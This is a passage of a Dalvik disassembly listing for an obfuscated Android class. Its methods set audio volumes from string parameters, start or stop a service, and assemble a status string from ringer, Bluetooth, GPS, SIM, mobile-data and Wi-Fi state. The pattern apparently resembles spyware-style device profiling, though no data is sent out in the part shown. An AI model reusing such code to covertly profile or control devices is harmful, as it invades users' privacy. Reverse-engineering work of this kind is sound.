    00081804move-object v7, v13
    00081806invoke-direct/range {v1 .. v7}, Lcmf0/c3b5bm90zq/patch/C11$5;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
    0008180cinvoke-direct {v0, v8}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081812invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081818return-void
    000817e0
    0008181a
    0008181a // align 0x4
    0008181c
    0008181ccmf0.c3b5bm90zq.patch.C11::a(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    0008182cinvoke-static {v1}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081832move-result-object v1
    00081834invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008183amove-result v1
    0008183csput v1, Lcmf0/c3b5bm90zq/patch/C11;->q:I
    00081840invoke-static {v2}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081846move-result-object v1
    00081848invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008184emove-result v1
    00081850sput v1, Lcmf0/c3b5bm90zq/patch/C11;->r:I
    00081854invoke-static {v3}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    0008185amove-result-object v1
    0008185cinvoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    00081862move-result v1
    00081864sput v1, Lcmf0/c3b5bm90zq/patch/C11;->s:I
    00081868invoke-static {v4}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    0008186emove-result-object v1
    00081870invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    00081876move-result v1
    00081878sput v1, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    0008187cinvoke-static {v5}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081882move-result-object v1
    00081884invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008188amove-result v1
    0008188csput v1, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    00081890invoke-static {v6}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00081896move-result-object v1
    00081898invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    0008189emove-result v1
    000818a0sput v1, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    000818a4invoke-static {v7}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    000818aamove-result-object v1
    000818acinvoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    000818b2move-result v1
    000818b4sput v1, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    000818b8invoke-static {v8}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    000818bemove-result-object v1
    000818c0invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
    000818c6move-result v1
    000818c8sput v1, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    000818ccnew-instance v1, Landroid/content/Intent;
    000818d0const-class v2, Lcmf0/c3b5bm90zq/patch/C5;
    000818d4invoke-direct {v1, v0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000818dasget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000818deconst-class v3, Lcmf0/c3b5bm90zq/patch/C5;
    000818e2invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000818e8move-result-object v4
    000818eainvoke-virtual {v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    000818f0move-result v2
    000818f2if-nez v2, :cond_69
    000818f6invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    000818fcgoto :goto_74
    000818fenew-instance v2, Landroid/content/Intent;
    00081902const-class v3, Lcmf0/c3b5bm90zq/patch/C5;
    00081906invoke-direct {v2, v0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    0008190cinvoke-virtual {v0, v2}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    00081912goto :goto_65
    00081914return-void
    0008181c
    00081916
    00081916 struct code_item_padding
    00081916 padding uint16 0x0000
    00081918
    00081918 struct try_item
    00081918 start_addr uint32 0x8182c
    0008191c insn_count int 115
    0008191e handler_off uint16 0x81921
    00081920
    00081920 struct encoded_catch_handler_list
    00081920 size int 1
    00081921
    00081921 struct encoded_catch_handler ← 0x8191e
    00081921 size int64 1
    00081922 handlers[0].type_idx int 0x5994
    00081924 handlers[0].addr uint32 0x81914
    00081925
    00081925 // align 0x8
    00081928
    00081928cmf0.c3b5bm90zq.patch.C11::a(java.lang.String[], java.lang.String, java.lang.String):
    00081938new-instance v0, Ljava/lang/Thread;
    0008193cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$21;
    00081940invoke-direct {v1, v2, v5, v4, v3}, Lcmf0/c3b5bm90zq/patch/C11$21;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
    00081946invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008194cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081952return-void
    00081928
    00081954
    00081954cmf0.c3b5bm90zq.patch.C11::b():
    00081964new-instance v0, Ljava/lang/Thread;
    00081968new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$31;
    0008196cinvoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$31;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    00081972invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081978invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    0008197ereturn-void
    00081954
    00081980
    00081980cmf0.c3b5bm90zq.patch.C11::b(java.lang.String, java.lang.String):
    00081990new-instance v0, Ljava/lang/Thread;
    00081994new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$8;
    00081998invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$8;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    0008199einvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000819a4invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000819aareturn-void
    00081980
    000819ac
    000819accmf0.c3b5bm90zq.patch.C11::b(java.lang.String, java.lang.String, java.lang.String):
    000819bcinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000819c2move-result-object v0
    000819c4const-string v1, "audio"
    000819c8invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000819cemove-result-object v0
    000819d0check-cast v0, Landroid/media/AudioManager;
    000819d4const-string v1, "-1"
    000819d8invoke-virtual {v8, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000819demove-result v1
    000819e0const/4 v2, 0x3
    000819e2const/4 v3, 0x5
    000819e4const/4 v4, 0x2
    000819e6const/4 v5, 0x0
    000819e8const/4 v6, 0x1
    000819eaif-nez v1, :cond_34
    000819eeinvoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    000819f4move-result v8
    000819f6invoke-static {v9}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    000819fcmove-result v9
    000819fepacked-switch v8, :pswitch_data_328
    00081a04goto :goto_34
    00081a06invoke-virtual {v0, v6, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a0cgoto :goto_34
    00081a0einvoke-virtual {v0, v3, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a14goto :goto_34
    00081a16invoke-virtual {v0, v2, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a1cgoto :goto_34
    00081a1einvoke-virtual {v0, v4, v9, v5}, Landroid/media/AudioManager;->setStreamVolume(III)V
    00081a24const-string v8, "-1"
    00081a28invoke-virtual {v10, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00081a2emove-result v8
    00081a30if-nez v8, :cond_3f
    00081a34invoke-virtual {v7, v10}, Lcmf0/c3b5bm90zq/patch/C11;->g(Ljava/lang/String;)V
    00081a3anew-instance v8, Ljava/lang/StringBuilder;
    00081a3einvoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    00081a44sget-object v9, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081a48invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a4einvoke-virtual {v0}, Landroid/media/AudioManager;->getRingerMode()I
    00081a54move-result v9
    00081a56if-ne v9, v4, :cond_66
    00081a5anew-instance v9, Ljava/lang/StringBuilder;
    00081a5einvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081a64const-string v10, "True"
    00081a68invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a6esget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081a72invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a78invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081a7emove-result-object v9
    00081a80invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a86goto :goto_76
    00081a88new-instance v9, Ljava/lang/StringBuilder;
    00081a8cinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081a92const-string v10, "False"
    00081a96invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081a9csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081aa0invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081aa6goto :goto_5e
    00081aa8invoke-virtual {v0}, Landroid/media/AudioManager;->getRingerMode()I
    00081aaemove-result v9
    00081ab0if-ne v9, v6, :cond_93
    00081ab4new-instance v9, Ljava/lang/StringBuilder;
    00081ab8invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081abeconst-string v10, "True"
    00081ac2invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ac8sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081accinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ad2invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081ad8move-result-object v9
    00081adainvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ae0goto :goto_a3
    00081ae2new-instance v9, Ljava/lang/StringBuilder;
    00081ae6invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081aecconst-string v10, "False"
    00081af0invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081af6sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081afainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b00goto :goto_8b
    00081b02invoke-virtual {v0}, Landroid/media/AudioManager;->getRingerMode()I
    00081b08move-result v9
    00081b0aif-nez v9, :cond_c0
    00081b0enew-instance v9, Ljava/lang/StringBuilder;
    00081b12invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b18const-string v10, "True"
    00081b1cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b22sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081b26invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b2cinvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081b32move-result-object v9
    00081b34invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b3agoto :goto_112
    00081b3cnew-instance v9, Ljava/lang/StringBuilder;
    00081b40invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b46const-string v10, "False"
    00081b4ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b50sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081b54invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b5agoto :goto_b8
    00081b5cnew-instance v9, Ljava/lang/StringBuilder;
    00081b60invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b66const-string v10, "-1"
    00081b6ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b70sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081b74invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b7ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081b80move-result-object v9
    00081b82invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b88new-instance v9, Ljava/lang/StringBuilder;
    00081b8cinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081b92const-string v10, "-1"
    00081b96invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081b9csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081ba0invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ba6invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081bacmove-result-object v9
    00081baeinvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081bb4new-instance v9, Ljava/lang/StringBuilder;
    00081bb8invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081bbeconst-string v10, "-1"
    00081bc2invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081bc8sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081bccinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081bd2invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081bd8move-result-object v9
    00081bdainvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081be0invoke-static {}, Landroid/bluetooth/BluetoothAdapter;->getDefaultAdapter()Landroid/bluetooth/BluetoothAdapter;
    00081be6move-result-object v9
    00081be8if-nez v9, :cond_12f
    00081becnew-instance v9, Ljava/lang/StringBuilder;
    00081bf0invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081bf6const-string v10, "-1"
    00081bfainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c00sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c04invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c0ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081c10move-result-object v9
    00081c12invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c18goto :goto_16b
    00081c1ainvoke-virtual {v9}, Landroid/bluetooth/BluetoothAdapter;->isEnabled()Z
    00081c20move-result v9
    00081c22if-eqz v9, :cond_145
    00081c26new-instance v9, Ljava/lang/StringBuilder;
    00081c2ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081c30const-string v10, "True"
    00081c34invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c3asget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c3einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c44goto :goto_127
    00081c46new-instance v9, Ljava/lang/StringBuilder;
    00081c4ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081c50const-string v10, "False"
    00081c54invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c5asget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c5einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c64goto :goto_127
    00081c66new-instance v9, Ljava/lang/StringBuilder;
    00081c6ainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081c70const-string v10, "-1"
    00081c74invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c7asget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081c7einvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c84invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081c8amove-result-object v9
    00081c8cinvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081c92invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081c98move-result-object v9
    00081c9aconst-string v10, "location"
    00081c9einvoke-virtual {v9, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00081ca4move-result-object v9
    00081ca6check-cast v9, Landroid/location/LocationManager;
    00081caaconst-string v10, "gps"
    00081caeinvoke-virtual {v9, v10}, Landroid/location/LocationManager;->isProviderEnabled(Ljava/lang/String;)Z
    00081cb4move-result v9
    00081cb6if-eqz v9, :cond_196
    00081cbanew-instance v9, Ljava/lang/StringBuilder;
    00081cbeinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081cc4const-string v10, "True"
    00081cc8invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ccesget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081cd2invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081cd8invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081cdemove-result-object v9
    00081ce0invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ce6goto :goto_1bc
    00081ce8new-instance v9, Ljava/lang/StringBuilder;
    00081cecinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081cf2const-string v10, "False"
    00081cf6invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081cfcsget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081d00invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d06goto :goto_18e
    00081d08new-instance v9, Ljava/lang/StringBuilder;
    00081d0cinvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081d12const-string v10, "-1"
    00081d16invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d1csget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081d20invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d26invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081d2cmove-result-object v9
    00081d2einvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081d34invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081d3amove-result-object v9
    00081d3cconst-string v10, "phone"
    00081d40invoke-virtual {v9, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00081d46move-result-object v9
    00081d48check-cast v9, Landroid/telephony/TelephonyManager;
    00081d4cinvoke-virtual {v9}, Landroid/telephony/TelephonyManager;->getSimState()I
    00081d52move-result v9
    00081d54if-ne v9, v3, :cond_220
    00081d58sget v9, Landroid/os/Build$VERSION;->SDK_INT:I
    00081d5cconst/16 v10, 0x11
    00081d60if-lt v9, v10, :cond_1e6
    00081d64invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081d6amove-result-object v9
    00081d6cinvoke-virtual {v9}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    00081d72move-result-object v9
    00081d74const-string v10, "mobile_data"
    00081d78invoke-static {v9, v10, v6}, Landroid/provider/Settings$Global;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
    00081d7emove-result v9
    00081d80if-ne v9, v6, :cond_1f7
    00081d84const/4 v5, 0x1
    00081d86goto :goto_1f7
    00081d88invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081d8emove-result-object v9
    00081d90invoke-virtual {v9}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
    00081d96move-result-object v9
    00081d98const-string v10, "mobile_data"
    00081d9cinvoke-static {v9, v10, v6}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
    00081da2move-result v9
    00081da4if-ne v9, v6, :cond_1f7
    00081da8goto :goto_1e4
    00081daaif-ne v5, v6, :cond_210
    00081daenew-instance v9, Ljava/lang/StringBuilder;
    00081db2invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081db8const-string v10, "True"
    00081dbcinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081dc2sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081dc6invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081dccinvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081dd2move-result-object v9
    00081dd4invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ddagoto :goto_246
    00081ddcnew-instance v9, Ljava/lang/StringBuilder;
    00081de0invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081de6const-string v10, "False"
    00081deainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081df0sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081df4invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081dfagoto :goto_208
    00081dfcnew-instance v9, Ljava/lang/StringBuilder;
    00081e00invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081e06const-string v10, "-1"
    00081e0ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e10sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081e14invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e1agoto :goto_208
    00081e1cnew-instance v9, Ljava/lang/StringBuilder;
    00081e20invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081e26const-string v10, "-1"
    00081e2ainvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e30sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081e34invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e3ainvoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081e40move-result-object v9
    00081e42invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e48invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081e4emove-result-object v9
    00081e50const-string v10, "wifi"
    00081e54invoke-virtual {v9, v10}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00081e5amove-result-object v9
    00081e5ccheck-cast v9, Landroid/net/wifi/WifiManager;
    00081e60invoke-virtual {v9}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
    00081e66move-result v10
    00081e68if-eqz v10, :cond_26f
    00081e6cnew-instance v10, Ljava/lang/StringBuilder;
    00081e70invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
    00081e76const-string v1, "True"
    00081e7ainvoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e80sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081e84invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e8ainvoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081e90move-result-object v10
    00081e92invoke-virtual {v8, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081e98goto :goto_27f
    00081e9anew-instance v10, Ljava/lang/StringBuilder;
    00081e9einvoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
    00081ea4const-string v1, "False"
    00081ea8invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081eaesget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081eb2invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081eb8goto :goto_267
    00081ebainvoke-virtual {v9}, Landroid/net/wifi/WifiManager;->isWifiEnabled()Z
    00081ec0move-result v9
    00081ec2if-nez v9, :cond_29c
    00081ec6new-instance v9, Ljava/lang/StringBuilder;
    00081ecainvoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081ed0const-string v10, "True"
    00081ed4invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081edasget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081edeinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ee4invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081eeamove-result-object v9
    00081eecinvoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081ef2goto :goto_2d8
    00081ef4new-instance v9, Ljava/lang/StringBuilder;
    00081ef8invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
    00081efeconst-string v10, "False"
    00081f02invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f08sget-object v10, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081f0cinvoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081f12goto :goto_294
    00081f14new-instance v9, Ljava/lang/StringBuilder;
